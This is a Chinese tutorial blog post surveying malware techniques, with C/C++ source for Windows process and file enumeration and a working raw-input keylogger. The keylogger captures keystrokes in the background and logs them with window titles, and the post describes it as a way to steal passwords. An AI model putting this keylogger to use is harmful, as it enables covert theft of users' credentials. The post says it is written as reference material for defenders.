C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录
liuian 2025-07-07 20:10 100 浏览
恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。
恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。
进程遍历
进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。
具体流程:
1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。
2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。
3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。
4、关闭快照句柄并释放资源
遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。
源码实现:
#include "EnumInfo.h"
void ShowError(char *lpszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}
BOOL EnumProcess()
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
// 获取全部进程快照
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Process32First(hProcessSnap, &pe32);
while (bRet)
{
// 显示 Process ID
printf("[%d]\t", pe32.th32ProcessID);
// 显示 进程名称
printf("[%s]\n", pe32.szExeFile);
// 获取快照中下一条信息
bRet = ::Process32Next(hProcessSnap, &pe32);
}
// 关闭句柄
::CloseHandle(hProcessSnap);
return TRUE;
}
BOOL EnumThread()
{
THREADENTRY32 te32 = { 0 };
te32.dwSize = sizeof(THREADENTRY32);
// 获取全部线程快照
HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hThreadSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Thread32First(hThreadSnap, &te32);
while (bRet)
{
// 显示 Owner Process ID
printf("[%d]\t", te32.th32OwnerProcessID);
// 显示 Thread ID
printf("[%d]\n", te32.th32ThreadID);
// 获取快照中下一条信息
bRet = ::Thread32Next(hThreadSnap, &te32);
}
// 关闭句柄
::CloseHandle(hThreadSnap);
return TRUE;
}
BOOL EnumProcessModule(DWORD dwProcessId)
{
MODULEENTRY32 me32 = { 0 };
me32.dwSize = sizeof(MODULEENTRY32);
// 获取指定进程全部模块的快照
HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
if (INVALID_HANDLE_VALUE == hModuleSnap)
{
ShowError("CreateToolhelp32Snapshot");
return FALSE;
}
// 获取快照中第一条信息
BOOL bRet = ::Module32First(hModuleSnap, &me32);
while (bRet)
{
// 显示 Process ID
printf("[%d]\t", me32.th32ProcessID);
// 显示 模块加载基址
printf("[0x%p]\t", me32.modBaseAddr);
// 显示 模块名称
printf("[%s]\n", me32.szModule);
// 获取快照中下一条信息
bRet = ::Module32Next(hModuleSnap, &me32);
}
// 关闭句柄
::CloseHandle(hModuleSnap);
return TRUE;
}文件遍历
文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。
就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。
具体流程
1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。
该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。
2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。
3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。
源码实现:
#include "stdafx.h"
#include "FileSearch.h"
void SearchFile(char *pszDirectory)
{
// 搜索指定类型文件
DWORD dwBufferSize = 2048;
char *pszFileName = NULL;
char *pTempSrc = NULL;
WIN32_FIND_DATA FileData = {0};
BOOL bRet = FALSE;
// 申请动态内存
pszFileName = new char[dwBufferSize];
pTempSrc = new char[dwBufferSize];
// 构造搜索文件类型字符串, *.*表示搜索所有文件类型
::wsprintf(pszFileName, "%s\\*.*", pszDirectory);
// 搜索第一个文件
HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
if (INVALID_HANDLE_VALUE != hFile)
{
do
{
// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
if ('.' == FileData.cFileName[0])
{
continue;
}
// 拼接文件路径
::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
// 判断是否是目录还是文件
if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
// 目录, 则继续往下递归遍历文件
SearchFile(pTempSrc);
}
else
{
// 文件
printf("%s\n", pTempSrc);
}
// 搜索下一个文件
} while (::FindNextFile(hFile, &FileData));
}
// 关闭文件句柄
::FindClose(hFile);
// 释放内存
delete []pTempSrc;
pTempSrc = NULL;
delete []pszFileName;
pszFileName = NULL;
}按键记录
收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。
要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。
具体流程
1、注册原始输入设备
一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。
2、获取原始输入数据
消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用
GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。
dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。
3、保存按键信息
GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。
源码实现:
#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}
// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}
// 保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}恶意代码的存在不是由于黑客之类的手段,主要还是我们开发过程中很多情况会用到这样的技术,所以大家请利用技术做正确的事情!
另外,对于编程学习的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!
编程学习书籍分享:
编程学习视频分享:
整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)
欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!
对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!
相关推荐
-
- 驱动网卡(怎么从新驱动网卡)
-
网卡一般是指为电脑主机提供有线无线网络功能的适配器。而网卡驱动指的就是电脑连接识别这些网卡型号的桥梁。网卡只有打上了网卡驱动才能正常使用。并不是说所有的网卡一插到电脑上面就能进行数据传输了,他都需要里面芯片组的驱动文件才能支持他进行数据传输...
-
2026-01-30 00:37 liuian
- win10更新助手装系统(微软win10更新助手)
-
1、点击首页“系统升级”的按钮,给出弹框,告诉用户需要上传IMEI码才能使用升级服务。同时给出同意和取消按钮。华为手机助手2、点击同意,则进入到“系统升级”功能华为手机助手华为手机助手3、在检测界面,...
- windows11专业版密钥最新(windows11专业版激活码永久)
-
Windows11专业版的正版密钥,我们是对windows的激活所必备的工具。该密钥我们可以通过微软商城或者通过计算机的硬件供应商去购买获得。获得了windows11专业版的正版密钥后,我...
-
- 手机删过的软件恢复(手机删除过的软件怎么恢复)
-
操作步骤:1、首先,我们需要先打开手机。然后在许多图标中找到带有[文件管理]文本的图标,然后单击“文件管理”进入页面。2、进入页面后,我们将在顶部看到一行文本:手机,最新信息,文档,视频,图片,音乐,收藏,最后是我们正在寻找的[更多],单击...
-
2026-01-29 23:55 liuian
- 一键ghost手动备份系统步骤(一键ghost 备份)
-
步骤1、首先把装有一键GHOST装系统的U盘插在电脑上,然后打开电脑马上按F2或DEL键入BIOS界面,然后就选择BOOT打USDHDD模式选择好,然后按F10键保存,电脑就会马上重启。 步骤...
- 怎么创建局域网(怎么创建局域网打游戏)
-
1、购买路由器一台。进入路由器把dhcp功能打开 2、购买一台交换机。从路由器lan端口拉出一条网线查到交换机的任意一个端口上。 3、两台以上电脑。从交换机任意端口拉出网线插到电脑上(电脑设置...
- 精灵驱动器官方下载(精灵驱动手机版下载)
-
是的。驱动精灵是一款集驱动管理和硬件检测于一体的、专业级的驱动管理和维护工具。驱动精灵为用户提供驱动备份、恢复、安装、删除、在线更新等实用功能。1、全新驱动精灵2012引擎,大幅提升硬件和驱动辨识能力...
- 一键还原系统步骤(一键还原系统有哪些)
-
1、首先需要下载安装一下Windows一键还原程序,在安装程序窗口中,点击“下一步”,弹出“用户许可协议”窗口,选择“我同意该许可协议的条款”,并点击“下一步”。 2、在弹出的“准备安装”窗口中,可...
- 电脑加速器哪个好(电脑加速器哪款好)
-
我认为pp加速器最好用,飞速土豆太懒,急速酷六根本不工作。pp加速器什么网页都加速,太任劳任怨了!以上是个人观点,具体性能请自己试。ps:我家电脑性能很好。迅游加速盒子是可以加速电脑的。因为有过之...
- 任何u盘都可以做启动盘吗(u盘必须做成启动盘才能装系统吗)
-
是的,需要注意,U盘的大小要在4G以上,最好是8G以上,因为启动盘里面需要装系统,内存小的话,不能用来安装系统。内存卡或者U盘或者移动硬盘都可以用来做启动盘安装系统。普通的U盘就可以,不过最好U盘...
- u盘怎么恢复文件(u盘文件恢复的方法)
-
开360安全卫士,点击上面的“功能大全”。点击文件恢复然后点击“数据”下的“文件恢复”功能。选择驱动接着选择需要恢复的驱动,选择接入的U盘。点击开始扫描选好就点击中间的“开始扫描”,开始扫描U盘数据。...
- 系统虚拟内存太低怎么办(系统虚拟内存占用过高什么原因)
-
1.检查系统虚拟内存使用情况,如果发现有大量的空闲内存,可以尝试释放一些不必要的进程,以释放内存空间。2.如果系统虚拟内存使用率较高,可以尝试增加系统虚拟内存的大小,以便更多的应用程序可以使用更多...
-
- 剪贴板权限设置方法(剪贴板访问权限)
-
1、首先打开iphone手机,触碰并按住单词或图像直到显示选择选项。2、其次,然后选取“拷贝”或“剪贴板”。3、勾选需要的“权限”,最后选择开启,即可完成苹果剪贴板权限设置。仅参考1.打开苹果手机设置按钮,点击【通用】。2.点击【键盘】,再...
-
2026-01-29 21:37 liuian
- 平板系统重装大师(平板重装win系统)
-
如果你的平板开不了机,但可以连接上电脑,那就能好办,楼主下载安装个平板刷机王到你的个人电脑上,然后连接你的平板,平板刷机王会自动识别你的平板,平板刷机王上有你平板的我刷机包,楼主点击下载一个,下载完成...
- 联想官网售后服务网点(联想官网售后服务热线)
-
联想3c服务中心是联想旗下的官方售后,是基于互联网O2O模式开发的全新服务平台。可以为终端用户提供多品牌手机、电脑以及其他3C类产品的维修、保养和保险服务。根据客户需求层次,联想服务针对个人及家庭客户...
- 一周热门
- 最近发表
- 标签列表
-
- python判断字典是否为空 (50)
- crontab每周一执行 (48)
- aes和des区别 (43)
- bash脚本和shell脚本的区别 (35)
- canvas库 (33)
- dataframe筛选满足条件的行 (35)
- gitlab日志 (33)
- lua xpcall (36)
- blob转json (33)
- python判断是否在列表中 (34)
- python html转pdf (36)
- 安装指定版本npm (37)
- idea搜索jar包内容 (33)
- css鼠标悬停出现隐藏的文字 (34)
- linux nacos启动命令 (33)
- gitlab 日志 (36)
- adb pull (37)
- python判断元素在不在列表里 (34)
- python 字典删除元素 (34)
- vscode切换git分支 (35)
- python bytes转16进制 (35)
- grep前后几行 (34)
- hashmap转list (35)
- c++ 字符串查找 (35)
- mysql刷新权限 (34)
